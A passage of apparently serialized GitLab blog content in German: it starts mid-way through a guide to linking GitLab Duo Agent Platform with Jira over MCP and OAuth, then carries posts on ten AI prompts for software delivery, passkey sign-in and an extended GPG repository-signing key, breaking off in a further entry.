OAuth-Anwendung konfigurieren\n\n\n\nUm den GitLab Duo Agent Platform sicher mit der Jira-Instanz zu verbinden, muss eine OAuth 2.0-Anwendung in der Atlassian Developer Console erstellt werden. Diese erteilt dem GitLab MCP-Server autorisierten Zugriff auf die Jira-Daten.\n\n\n\n### Einrichtungsschritte\n\n\n\nFür die manuelle Konfiguration sind folgende Schritte erforderlich:\n\n\n\n1. **Atlassian Developer Console aufrufen**\n\n\n   * [developer.atlassian.com/console/myapps](https://developer.atlassian.com/console/myapps) öffnen\n\n\n   * Mit dem Atlassian-Konto anmelden\n\n\n2. **Neue OAuth 2.0-App erstellen**\n\n\n   * **Create** → **OAuth 2.0 integration** klicken\n\n\n   * Namen eingeben (z. B. „gitlab-dap-mcp\")\n\n\n   * Nutzungsbedingungen akzeptieren und **Create** klicken\n\n\n3. **Berechtigungen konfigurieren**\n\n\n   * In der linken Seitenleiste zu **Permissions** navigieren\n\n\n   * **Jira API** hinzufügen und folgende Scopes konfigurieren:\n\n\n     * `read:jira-work` — Issues, Projekte und Boards lesen\n\n\n     * `write:jira-work` — Issues erstellen und aktualisieren\n\n\n     * `read:jira-user` — Benutzerinformationen lesen\n\n\n4. **Autorisierung einrichten**\n\n\n   * In der linken Seitenleiste zu **Authorization** navigieren\n\n\n   * Callback-URL für die Umgebung hinzufügen (`https://gitlab.com/oauth/callback`)\n\n\n   * Änderungen speichern\n\n\n5. **Zugangsdaten abrufen**\n\n\n   * Zu **Settings** navigieren\n\n\n   * **Client ID** und **Client Secret** kopieren\n\n\n   * Sicher aufbewahren – diese werden für die MCP-Konfiguration benötigt\n\n\n\n\n### Interaktive Anleitung: Jira OAuth-Einrichtung\n\n\n\nAuf das Bild klicken, um zu beginnen.\n\n\n\n\n\n[![Jira OAuth setup tour](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772644850/wnzfoq43nkkfmgdqldmr.png)](https://gitlab.navattic.com/jira-oauth-setup)\n\n\n\n\n\n## Teil 2: GitLab Duo Agent Platform MCP-Client konfigurieren\n\n\n\nMit den bereitgestellten OAuth-Zugangsdaten kann der GitLab Duo Agent Platform nun für die Verbindung mit dem Atlassian MCP-Server konfiguriert werden.\n\n\n\n### MCP-Konfigurationsdatei erstellen\n\n\n\nDie MCP-Konfigurationsdatei im GitLab-Projekt unter `.gitlab/duo/mcp.json` erstellen:\n\n```json\n{\n  \"mcpServers\": {\n    \"atlassian\": {\n      \"type\": \"http\",\n      \"url\": \"https://mcp.atlassian.com/v1/mcp\",\n      \"auth\": {\n        \"type\": \"oauth2\",\n        \"clientId\": \"YOUR_CLIENT_ID\",\n        \"clientSecret\": \"YOUR_CLIENT_SECRET\",\n        \"authorizationUrl\": \"https://auth.atlassian.com/oauth/authorize\",\n        \"tokenUrl\": \"https://auth.atlassian.com/oauth/token\"\n      },\n      \"approvedTools\": true\n    }\n  }\n}\n```\n\n\n\n`YOUR_CLIENT_ID` und `YOUR_CLIENT_SECRET` durch die in Teil 1 generierten Zugangsdaten ersetzen.\n\n\n\n### MCP in GitLab aktivieren\n\n\n\n1. Zu **Gruppeneinstellungen** → **GitLab Duo** → **Konfiguration** navigieren\n\n2. „Externe MCP-Tools erlauben\" aktivieren\n\n\n\n### Verbindung überprüfen\n\n\n\nDas Projekt in VS Code öffnen und im GitLab Duo Agent Platform Chat eingeben:\n\n```text\nWhat MCP tools do you have access to?\n```\n\n\n\nDann\n```text\nTest the MCP JIRA configuration in this project\n```\n\n\n\nAnschließend erfolgt eine Weiterleitung von der IDE zur MCP Atlassian-Website zur Zugriffsgenehmigung:\n\n\n\n![Redirect to MCP Atlassian website](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643461/z5acqjgguh0damnnde9g.png \"Redirect to MCP Atlassian website\")\n\n\n\n\u003Cbr>\u003C/br>\n\n\n\n![Approve access](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643461/rwowamm8nsubhpixtn3i.png \"Approve access\")\n\n\n\n\u003Cbr>\u003C/br>\n\n\n\n![Select your JIRA instance and approve](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643461/chuzqd0jeptfwvoj7wjr.png \"Select your JIRA instance and approve\")\n\n\n\n\u003Cbr>\u003C/br>\n\n\n\n![Success!](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643462/bsgti5iste2bzck19o5y.png \"Success!\")\n\n\n\n\u003Cbr>\u003C/br>\n\n\n\n### Überprüfung über das MCP-Dashboard\n\n\n\nGitLab bietet zudem ein integriertes **MCP-Dashboard** direkt in der IDE.\n\n\n\nIn VS Code oder VSCodium die Befehlspalette öffnen (`Cmd+Shift+P` unter macOS, `Ctrl+Shift+P` unter Windows/Linux) und nach **„GitLab: Show MCP Dashboard\"** suchen. Das Dashboard öffnet sich in einem neuen Editor-Tab und zeigt:\n\n\n\n* **Verbindungsstatus** für jeden konfigurierten MCP-Server\n\n* **Verfügbare Tools** des Servers (z. B. `jira_get_issue`, `jira_create_issue`)\n\n* **Server-Logs** mit Echtzeit-Protokollierung der aufgerufenen Tools\n\n\n\n![MCP servers dashboard and status](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643462/mmvdfchucacsydivowvn.png \"MCP servers dashboard and status\")\n\n\n\n\u003Cbr>\u003C/br>\n\n\n\n![Server details and permissions](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643462/tcocgdvovp2dl42pvfn8.png \"Server details and permissions\")\n\n\n\n\u003Cbr>\u003C/br>\n\n\n\n![MCP Server logs](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643466/mougvqqk1bozchaufsci.png \"MCP Server logs\")\n\n\n\n\u003Cbr>\u003C/br>\n\n\n\n### Interaktive Anleitung: MCP testen\n\n\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1170005495?badge=0&autopause=0& player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Testing MCP\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n\n\n## Teil 3: Anwendungsfälle in der Praxis\n\n\n\nMit der konfigurierten Integration lassen sich drei praxisnahe Workflows erkunden, die die Möglichkeiten der Jira-Anbindung an den GitLab Duo Agent Platform demonstrieren.\n\n\n\n### Planungsassistent\n\n\n\n**Szenario:** Vorbereitung auf Sprint-Planung – schnelle Bewertung des Backlogs, Verstehen von Prioritäten, Identifizierung von Blockern.\n\n\n\nDiese Demo zeigt:\n\n\n\n* Backlog abfragen\n\n* Nicht zugewiesene hochpriorisierte Issues identifizieren\n\n* KI-gestützte Sprint-Empfehlungen erhalten\n\n\n\n#### Beispiel-Prompts\n\n\n\nIm GitLab Duo Agent Platform Chat ausprobieren:\n\n```text\nList all the unassigned issues in JIRA for project GITLAB\n```\n\n```text\nSuggest the two top issues to prioritize and summarize them. Assign them to me.\n```\n\n\n### Interaktive Anleitung: Projektplanung\n\n\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1170005462?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Project Planning\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n\n\n### Issue-Triage und Erstellung aus dem Code\n\n\n\n**Szenario:** Beim Code-Review wird ein Bug entdeckt – ein Jira-Issue mit relevantem Kontext erstellen, ohne die IDE zu verlassen.\n\n\n\nDiese Demo zeigt:\n\n\n\n* Einen Bug beim Coding identifizieren\n\n* Ein detailliertes Jira-Issue per natürlicher Sprache erstellen\n\n* Issue-Felder automatisch mit Code-Kontext befüllen\n\n* Das Issue mit dem aktuellen Branch verknüpfen\n\n\n\n#### Beispiel-Prompts\n```text\nSearch in JIRA for a bug related to: Null pointer exception in PaymentService.processRefund().\n\nIf it does not exist create it with all the context needed from the code. Find possible blockers that this bug may cause.\n```\n\n```text\nCreate a new branch called issue-gitlab-18, checkout, and link it to the issue we just created. Assign the JIRA issue to me and mark it as in-progress.\n```\n\n\n\n### Interaktive Anleitung: Bug-Review und Aufgaben-Automatisierung\n\n\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1170005368?badge=0&autopause=0& player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Bug Review\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n\n\n### Systemübergreifende Incident-Untersuchung\n\n\n\n**Szenario:** Ein Production-Incident tritt auf – Informationen aus Jira, GitLab Project Management, Codebase und Merge Requests werden korreliert, um die Ursache zu identifizieren.\n\n\n\nDiese Demo zeigt:\n\n\n\n* Incident-Details aus Jira abrufen\n\n* Mit aktuellen Merge Requests in GitLab korrelieren\n\n* Möglicherweise betroffene Code-Änderungen identifizieren\n\n* Eine Incident-Timeline generieren\n\n* Einen Behebungsplan entwerfen und als Work Item in GitLab erstellen\n\n\n\n#### Beispiel-Prompts\n\n```text\n\"We have a production incident INC-1 about checkout failures. Can you help me investigate with all available context?\"\n```\n\n```text\nCreate a timeline of events for incident INC-1 including related Jira issues and recent deployments\n```\n\n```text\nPropose a remediation plan\n```\n\n\n\n### Interaktive Anleitung: Systemübergreifende Fehleranalyse und Behebung\n\n\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1170005413?badge=0&autopause=0& player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Cross System Investigation\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n\n\n## Fehlerbehebung\n\n\n\nHäufige Einrichtungsprobleme und schnelle Lösungen:\n\n\n\n| Problem | Lösung |\n| ----- | ----- |\n| „MCP server not found\" | Prüfen, ob die Datei `mcp.json` am richtigen Ort liegt und korrekt formatiert ist |\n| „Authentication failed\" | OAuth-Zugangsdaten und Scopes in Atlassian überprüfen |\n| „No Jira tools available\" | VS Code nach dem Aktualisieren von `mcp.json` neu starten und MCP in GitLab aktivieren |\n| „Connection timeout\" | Netzwerkverbindung zu `mcp.atlassian.com` prüfen |\n\n\u003Cbr/>\nDetaillierte Informationen zur Fehlerbehebung: [GitLab MCP-Clients-Dokumentation](https://docs.gitlab.com/user/gitlab_duo/model_context_protocol/mcp_clients/).\n\n\n\n## Sicherheitshinweise\n\n\n\nBei der Integration von Jira mit dem GitLab Duo Agent Platform:\n\n\n\n* **OAuth-Token** — Zugangsdaten sicher aufbewahren\n\n* **Prinzip der minimalen Rechtevergabe** — Nur die minimal erforderlichen Jira-Scopes vergeben\n\n* **Token-Rotation** — OAuth-Zugangsdaten regelmäßig rotieren\n\n\n\n## Zusammenfassung\n\n\n\nDie Anbindung des GitLab Duo Agent Platform an verschiedene Tools über MCP verändert die Interaktion mit dem Entwicklungslebenszyklus. In diesem Artikel wurde gezeigt:\n\n\n\n* **Issues per natürlicher Sprache abfragen** — Fragen zum Backlog, zu Sprints und Incidents in natürlicher Sprache stellen.\n\n* **Issues in der gesamten DevSecOps-Umgebung erstellen und aktualisieren** — Bugs melden und Tickets aktualisieren, ohne die IDE zu verlassen.\n\n* **Systemübergreifend korrelieren** — Jira-Daten mit GitLab Project Management, Merge Requests und Pipelines für vollständige Transparenz kombinieren.\n\n* **Kontextwechsel reduzieren** — Fokus auf den Code behalten und gleichzeitig mit dem Projektmanagement verbunden bleiben.\n\n\n\n## Für deutsche Unternehmen könnte dies folgende Themen betreffen\n\n\n\nTeams, die externe Tools über MCP einbinden, haben möglicherweise auch Governance- und Sicherheitsüberlegungen – beispielsweise in Bereichen wie Zugriffskontrolle, Token-Management und Audit-Nachvollziehbarkeit.\n\n\n\nRegulatorische Frameworks wie NIS2, ISO 27001 und DSGVO adressieren ähnliche Themen rund um Zugriffssteuerung und Protokollierung. Für konkrete Compliance-Anforderungen empfiehlt sich Rücksprache mit entsprechender Fachberatung.\n\n\n\n## Weiterführende Informationen\n\n\n\n* [GitLab Duo Agent Platform unterstützt jetzt das Model Context Protocol](https://about.gitlab.com/de-de/blog/duo-agent-platform-with-mcp/)\n\n\n\n* [Was ist das Model Context Protocol?](https://about.gitlab.com/topics/ai/model-context-protocol/)\n\n\n\n* [Leitfäden und Ressourcen für Agentic AI](https://about.gitlab.com/de-de/blog/agentic-ai-guides-and-resources/)\n\n\n\n* [Dokumentation zu GitLab-MCP-Clients](https://docs.gitlab.com/user/gitlab_duo/model_context_protocol/mcp_clients/)\n\n\n\n* [Erste Schritte mit der GitLab Duo Agent Platform: Der vollständige Leitfaden](https://about.gitlab.com/de-de/blog/gitlab-duo-agent-platform-complete-getting-started-guide/)",{"featured":645,"template":796,"slug":856},"extend-gitlab-duo-agent-platform-connect-any-tool-with-mcp",{"content":858,"config":868},{"title":859,"description":860,"authors":861,"heroImage":863,"date":864,"body":865,"category":657,"tags":866},"10 KI-Prompts für den gesamten Software-Delivery-Prozess","Code Review, Security, Dokumentation, Tests, Planung, Debugging – einsatzbereite Prompts, die Team-Engpässe systematisch adressieren.",[862],"Chandler Gibbons","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772632341/duj8vaznbhtyxxhodb17.png","2026-03-04","KI-gestützte Coding-Tools helfen Entwicklerinnen und Entwicklern, Code schneller zu schreiben. Warum liefern Teams trotzdem nicht schneller?\nWeil Coding nur 20 % des Software-Delivery-Lifecycles ausmacht. Die restlichen 80 % werden zum Engpass: Code-Review-Rückstände wachsen, Security-Scans halten nicht Schritt, Dokumentation bleibt liegen, und manueller Koordinationsaufwand steigt.\nDieselben KI-Fähigkeiten, die das individuelle Coding beschleunigen, lassen sich auf den gesamten Softwarelebenszyklus ausdehnen – von der Planung über Code-Review und Security bis hin zu Tests und Debugging. Nachfolgend finden sich 10 einsatzbereite Prompts aus der [GitLab Duo Agent Platform Prompt Library](https://about.gitlab.com/gitlab-duo/prompt-library/), die typische Team-Engpässe systematisch adressieren.\n\n## Wie wird Code Review vom Engpass zum Beschleuniger?\nTeams erstellen Merge Requests schneller, wenn KI beim Coding unterstützt – doch menschliche Reviewer können kaum mithalten, wenn Review-Zyklen von Stunden auf Tage anwachsen. KI übernimmt Routineprüfungen wie logische Fehler und API-Vertragsverletzungen, damit Reviewer sich auf Architektur und Geschäftslogik konzentrieren können.\n\n### MR auf logische Fehler prüfen\n**Komplexität**: Einstieg\n**Kategorie**: Code Review\n**Prompt aus der Bibliothek**:\n\n```text\n\nReview this MR for logical errors, edge cases, and potential bugs: [MR URL or paste code]\n\n```\n**Warum das hilft**: Automatische Linter erkennen Syntaxfehler – logische Fehler erfordern das Verständnis der Absicht hinter dem Code. Dieser Prompt findet Bugs, bevor Reviewer überhaupt einen Blick darauf werfen, und reduziert Review-Zyklen häufig auf eine einzige Freigaberunde.\n\n### Breaking Changes im MR identifizieren\n**Komplexität**: Einstieg\n**Kategorie**: Code Review\n**Prompt aus der Bibliothek**:\n\n```text\n\nDoes this MR introduce any breaking changes?\n\nChanges:\n\n[PASTE CODE DIFF]\n\nCheck for:\n\n1. API signature changes\n\n2. Removed or renamed public methods\n\n3. Changed return types\n\n4. Modified database schemas\n\n5. Breaking configuration changes\n\n```\n**Warum das hilft**: Breaking Changes, die erst beim Deployment auffallen, erzwingen Rollbacks und verursachen Incidents. Dieser Prompt verlagert die Erkennung in die MR-Phase – wo Korrekturen deutlich weniger aufwändig sind.\n\n## Wie lässt sich Security nach links verschieben, ohne den Prozess zu verlangsamen?\nSecurity-Scans erzeugen Hunderte von Befunden. Security-Teams triagieren manuell, während Entwicklerinnen und Entwickler auf Deployment-Freigaben warten. Der Großteil der Befunde sind False Positives oder Niedrigrisiko-Probleme – die tatsächlichen Bedrohungen herauszufiltern kostet Zeit und Expertise. KI priorisiert Befunde nach tatsächlicher Ausnutzbarkeit und unterstützt bei der Behebung häufiger Schwachstellen, sodass Security-Teams sich auf die relevanten Bedrohungen konzentrieren können.\n\n### Security-Scan-Ergebnisse analysieren\n**Komplexität**: Fortgeschritten\n**Kategorie**: Security\n**Agent**: Duo Security Analyst\n**Prompt aus der Bibliothek**:\n\n```text\n\n@security_analyst Analyze these security scan results:\n\n[PASTE SCAN OUTPUT]\n\nFor each finding:\n\n1. Assess real risk vs false positive\n\n2. Explain the vulnerability\n\n3. Suggest remediation\n\n4. Prioritize by severity\n\n```\n**Warum das hilft**: Dieser Prompt hilft Security-Teams, sich auf die Befunde zu konzentrieren, die tatsächlich relevant sind – und reduziert die Zeit bis zur Behebung von Wochen auf Tage.\n\n### Code auf Sicherheitsprobleme prüfen\n**Komplexität**: Fortgeschritten\n**Kategorie**: Security\n**Agent**: Duo Security Analyst\n**Prompt aus der Bibliothek**:\n\n```text\n\n@security_analyst Review this code for security issues:\n\n[PASTE CODE]\n\nCheck for:\n\n1. Injection vulnerabilities\n\n2. Authentication/authorization flaws\n\n3. Data exposure risks\n\n4. Insecure dependencies\n\n5. Cryptographic issues\n\n```\n**Warum das hilft**: Herkömmliche Security-Reviews finden statt, nachdem Code geschrieben wurde. Dieser Prompt ermöglicht es, Sicherheitsprobleme vor dem Erstellen eines MR zu erkennen und zu beheben – und eliminiert die Abstimmungsschleifen, die Deployments verzögern.\n\n## Wie bleibt Dokumentation mit dem Code auf dem neuesten Stand?\nCode ändert sich schneller als Dokumentation. Neue Teammitglieder benötigen Wochen für das Onboarding, weil Docs veraltet oder unvollständig sind. Dokumentation wird stets als wichtig erkannt, aber bei Deadlines zuerst verschoben. Automatisierte Generierung und Aktualisierung als Teil des Standard-Workflows hält Docs aktuell – ohne zusätzlichen Aufwand.\n\n### Release Notes aus MRs generieren\n**Komplexität**: Einstieg\n**Kategorie**: Dokumentation\n**Prompt aus der Bibliothek**:\n\n```text\n\nGenerate release notes for these merged MRs:\n\n[LIST MR URLs or paste titles]\n\nGroup by:\n\n1. New features\n\n2. Bug fixes\n\n3. Performance improvements\n\n4. Breaking changes\n\n5. Deprecations\n\n```\n**Warum das hilft**: Die manuelle Zusammenstellung von Release Notes dauert Stunden und enthält häufig Lücken oder Fehler. Automatisierte Generierung stellt sicher, dass jedes Release vollständige Notes erhält – ohne zusätzlichen Aufwand im Release-Prozess.\n\n### Dokumentation nach Code-Änderungen aktualisieren\n**Komplexität**: Einstieg\n**Kategorie**: Dokumentation\n**Prompt aus der Bibliothek**:\n\n```text\n\nI changed this code:\n\n[PASTE CODE CHANGES]\n\nWhat documentation needs updating? Check:\n\n1. README files\n\n2. API documentation\n\n3. Architecture diagrams\n\n4. Onboarding guides\n\n```\n**Warum das hilft**: Dokumentation driftet, weil Teams nach Code-Änderungen nicht immer im Blick haben, welche Docs betroffen sind. Dieser Prompt macht Dokumentationspflege zum Teil des Entwicklungsworkflows – statt einer Aufgabe, die aufgeschoben wird.\n\n## Wie lässt sich Planungskomplexität systematisch aufbrechen?\nGroße Features bleiben in der Planungsphase stecken. KI kann komplexe Arbeit strukturiert in konkrete, umsetzbare Aufgaben mit klaren Abhängigkeiten und Akzeptanzkriterien zerlegen – und so wochenlange Abstimmung in fokussierte Implementierung verwandeln.\n\n### Epic in Issues aufteilen\n**Komplexität**: Fortgeschritten\n**Kategorie**: Dokumentation\n**Agent**: Duo Planner\n**Prompt aus der Bibliothek**:\n\n```text\n\nBreak down this epic into implementable issues:\n\n[EPIC DESCRIPTION]\n\nConsider:\n\n1. Technical dependencies\n\n2. Reasonable issue sizes\n\n3. Clear acceptance criteria\n\n4. Logical implementation order\n\n```\n**Warum das hilft**: Dieser Prompt verwandelt eine Woche Planungsmeetings in 30 Minuten KI-gestützte Zerlegung – gefolgt von einer Teamabstimmung. Teams starten früher mit der Implementierung und mit klarerer Ausrichtung.\n\n## Wie lässt sich Testabdeckung ausbauen, ohne den Aufwand zu erhöhen?\nEntwicklerinnen und Entwickler schreiben Code schneller, aber wenn Tests nicht mithalten, sinkt die Testabdeckung und Fehler gelangen in die Produktion. Tests manuell zu schreiben ist aufwändig – und unter Zeitdruck werden Randfälle übersehen. Automatisch generierte Tests bedeuten: prüfen und anpassen statt von Grund auf neu schreiben.\n\n### Unit-Tests generieren\n**Komplexität**: Einstieg\n**Kategorie**: Testing\n**Prompt aus der Bibliothek**:\n\n```text\n\nGenerate unit tests for this function:\n\n[PASTE FUNCTION]\n\nInclude tests for:\n\n1. Happy path\n\n2. Edge cases\n\n3. Error conditions\n\n4. Boundary values\n\n5. Invalid inputs\n\n```\n**Warum das hilft**: Manuelle Tests sind aufwändig, und Randfälle werden unter Zeitdruck oft übersehen. Dieser Prompt generiert umfassende Test-Suites, die Entwicklerinnen und Entwickler prüfen und anpassen – statt von Grund auf zu schreiben.\n\n### Lücken in der Testabdeckung erkennen\n**Komplexität**: Einstieg\n**Kategorie**: Testing\n**Prompt aus der Bibliothek**:\n\n```text\n\nAnalyze test coverage for [MODULE/COMPONENT]:\n\nCurrent coverage: [PERCENTAGE]\n\nIdentify:\n\n1. Untested functions/methods\n\n2. Uncovered edge cases\n\n3. Missing error scenario tests\n\n4. Integration points without tests\n\n5. Priority areas to test next\n\n```\n**Warum das hilft**: Dieser Prompt zeigt blinde Flecken in der Test-Suite auf, bevor sie zu Production-Incidents werden. Teams können die Abdeckung dort systematisch verbessern, wo es am meisten zählt.\n\n## Wie lässt sich die Zeit bis zur Fehlerbehebung verkürzen?\nProduction-Incidents dauern Stunden in der Diagnose. Entwicklerinnen und Entwickler durchsuchen Logs und Stack Traces, während Nutzerinnen und Nutzer Ausfälle erleben. KI beschleunigt die Ursachenanalyse durch Auswertung komplexer Fehlermeldungen und konkrete Lösungsvorschläge – und verkürzt die Diagnosezeit von Stunden auf Minuten.\n\n### Fehlerhafte Pipeline debuggen\n**Komplexität**: Einstieg\n**Kategorie**: Debugging\n**Prompt aus der Bibliothek**:\n\n```text\n\nThis pipeline is failing:\n\nJob: [JOB NAME]\n\nStage: [STAGE]\n\nError: [PASTE ERROR MESSAGE/LOG]\n\nHelp me:\n\n1. Identify the root cause\n\n2. Suggest a fix\n\n3. Explain why it started failing\n\n4. Prevent similar issues\n\n```\n**Warum das hilft**: CI/CD-Ausfälle blockieren das gesamte Team. Dieser Prompt analysiert Fehler in Sekunden statt in den 15 bis 30 Minuten, die Entwicklerinnen und Entwickler typischerweise für die Fehlersuche benötigen.\n\n## Von individuellen Gewinnen zu echter Team-Beschleunigung\nDiese Prompts stehen für einen Ansatz, der KI nicht nur beim individuellen Coding einsetzt, sondern an den Stellen, die Team-Velocity tatsächlich begrenzen: Koordination, Qualitätssicherung und Wissenstransfer.\nDie [vollständige Prompt-Bibliothek](https://about.gitlab.com/gitlab-duo/prompt-library/) enthält mehr als 100 Prompts für alle Phasen des Softwarelebenszyklus – von Planung und Entwicklung über Security und Testing bis hin zu Deployment und Betrieb. Jeder Prompt ist nach Komplexitätsstufe (Einstieg, Fortgeschritten, Experte) und Anwendungsfall kategorisiert.\nMit Prompts der Stufe „Einstieg\" lässt sich am dringendsten Engpass beginnen. Ziel ist nicht schnelleres Coding allein – sondern zuverlässigere, qualitativ hochwertigere Software-Lieferung von der Planung bis zur Produktion.",[806,867],"DevOps platform",{"featured":645,"template":796,"slug":869},"10-ai-prompts-to-speed-your-teams-software-delivery",{"category":672,"slug":670,"posts":871},[872,884,896],{"content":873,"config":882},{"title":874,"description":875,"authors":876,"heroImage":878,"date":879,"body":880,"category":670,"tags":881},"Passkeys jetzt für passwortlosen Login und 2FA bei GitLab verfügbar","Passkey für das eigene Konto registrieren und Zwei-Faktor-Authentifizierung als Phishing-resistente Methode nutzen.",[877],"GitLab","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772029801/qk75nu1eezxa6aiefpup.png","2026-02-25","Passkeys sind ab sofort bei GitLab verfügbar und bieten eine sichere Möglichkeit, auf das eigene Konto zuzugreifen. Passkeys können für den passwortlosen Login oder als Phishing-resistente Zwei-Faktor-Authentifizierung (2FA) verwendet werden. Die Authentifizierung erfolgt über den Fingerabdruck, die Gesichtserkennung oder die PIN des Geräts. Bei Konten mit aktivierter 2FA werden Passkeys automatisch als Standard-2FA-Methode eingerichtet.\n\n\u003Cfigure class=\"video_container\">\n\n\u003Ciframe src=\"https://www.youtube.com/embed/LN5MGRdTHR8?si=OOebJZzN3LkSmzNv\" title=\"Passwordless authentication using passkeys\" frameborder=\"0\" allowfullscreen=\"true\">\u003C/iframe>\n\n\u003C/figure>\n\nUm einen Passkey zu registrieren, in den Profileinstellungen **Konto > Authentifizierung verwalten** aufrufen.\n\nPasskeys basieren auf WebAuthn-Technologie und Public-Key-Kryptographie, bestehend aus einem privaten und einem öffentlichen Schlüssel. Der private Schlüssel verbleibt sicher auf dem Gerät und verlässt es nie, während der öffentliche Schlüssel bei GitLab gespeichert wird. Selbst bei einer Kompromittierung von GitLab können Angreifer die gespeicherten Zugangsdaten nicht nutzen, um auf das Konto zuzugreifen. Passkeys funktionieren in Desktop-Browsern (Chrome, Firefox, Safari, Edge), auf Mobilgeräten (iOS 16+, Android 9+) und mit FIDO2-Hardware-Sicherheitsschlüsseln. Mehrere Passkeys lassen sich geräteübergreifend registrieren.\n\n![Passkeys-Anmeldung mit Zwei-Faktor-Authentifizierung](https://res.cloudinary.com/about-gitlab-com/image/upload/v1767807931/n652nkgvna1rsymlfzpi.png)\n\nGitLab hat das [CISA Secure by Design Pledge](https://about.gitlab.com/de-de/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress/) unterzeichnet und sich damit verpflichtet, die eigene Sicherheitslage zu verbessern und Kunden bei der Entwicklung sicherer Software zu unterstützen. Ein zentrales Ziel des Pledges ist die verstärkte Nutzung von [Multi-Faktor-Authentifizierung (MFA)](https://about.gitlab.com/de-de/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress/) in den eigenen Produkten. Passkeys sind ein wesentlicher Bestandteil dieses Ziels und bieten eine Phishing-resistente MFA-Methode, die die Anmeldung bei GitLab sicherer macht.\n\nBei Fragen, Erfahrungsberichten oder Verbesserungsvorschlägen steht das [Feedback-Issue](https://gitlab.com/gitlab-org/gitlab/-/work_items/366758) zur Verfügung.\n",[758,746],{"featured":645,"template":796,"slug":883},"passkeys-now-available-for-passwordless-sign-in-and-2fa-on-gitlab",{"content":885,"config":894},{"title":886,"description":887,"heroImage":888,"authors":889,"date":891,"body":892,"category":670,"tags":893},"GPG-Schlüssel zur Signierung der GitLab-Paket-Repository-Metadaten wurde verlängert","Der GPG-Schlüssel zur Signierung von Repository-Metadaten auf GitLabs Packagecloud-Instanz unter packages.gitlab.com wurde verlängert – das ist zu beachten.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1771934335/c4f7zzdelhwcihaqwxym.png",[890],"Denis Afonso","2026-02-24","GitLab verwendet einen GPG-Schlüssel, um die Metadaten der verschiedenen apt- und yum-Repositories zu signieren, über die die offiziellen omnibus-gitlab- und gitlab-runner-Pakete verteilt werden. Dies dient der Sicherstellung der Paketintegrität; die Pakete selbst werden zusätzlich durch einen separaten Schlüssel signiert.\n\nDer aktuell für die Metadaten-Signierung verwendete Schlüssel mit dem Fingerabdruck `F640 3F65 44A3 8863 DAA0 B6E0 3F01 618A 5131 2F3F` läuft am 27. Feb. 2026 ab und wurde bis zum 6. Feb. 2028 verlängert.\n\n## Warum wird die Laufzeit verlängert?\n\nDie Laufzeit des Repository-Metadaten-Signierungsschlüssels wird regelmäßig verlängert, um den GitLab-Sicherheitsrichtlinien zu entsprechen und das Risiko im Falle einer Kompromittierung des Schlüssels zu begrenzen. Statt einer Rotation auf einen neuen Schlüssel wird die Laufzeit verlängert, um den Aufwand für Nutzende zu minimieren – eine Rotation würde erfordern, dass alle Nutzenden ihren vertrauenswürdigen Schlüssel ersetzen.\n\n## Was ist zu tun?\n\nWer GitLab-Repositories bereits vor dem 17. Feb. 2026 auf dem eigenen System konfiguriert hat, findet in der offiziellen Dokumentation Hinweise dazu, [wie der neue Schlüssel abgerufen und hinzugefügt werden kann](https://docs.gitlab.com/omnibus/update/package_signatures/#package-repository-metadata-signing-keys). Für neue Nutzende ist keine weitere Aktion erforderlich – es genügt, der [GitLab-Installationsseite](https://about.gitlab.com/install/) oder der [Installationsdokumentation für gitlab-runner](https://docs.gitlab.com/runner/install/linux-repository.html) zu folgen. Weitere Informationen zur [Überprüfung der Repository-Metadaten-Signaturen](https://docs.gitlab.com/omnibus/update/package_signatures/#package-repository-metadata-signing-keys) sind in der Omnibus-Dokumentation verfügbar. Den öffentlichen Schlüssel lässt sich auf jedem GPG-Keyserver über die Suche nach support@gitlab.com oder die Schlüssel-ID `F640 3F65 44A3 8863 DAA0 B6E0 3F01 618A 5131 2F3F` finden.\n\nAlternativ kann der Schlüssel direkt von packages.gitlab.com unter folgender URL heruntergeladen werden: `https://packages.gitlab.com/gpg.key`.\n\n## Weitere Unterstützung benötigt?   \n\n**Eine Issue im [omnibus-gitlab Issue Tracker](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/new?issue&issuable_template=Bug) öffnen.**",[746],{"featured":645,"template":796,"slug":895},"gpg-key-used-to-sign-gitlab-package-repositories-metadata-has-been-extended",{"content":897,"config":907},{"title":898,"description":899,"authors":900,"heroImage":902,"date":903,"body":904,"category":670,"tags":905,"updatedDate":906},"Welche Auswirkungen die 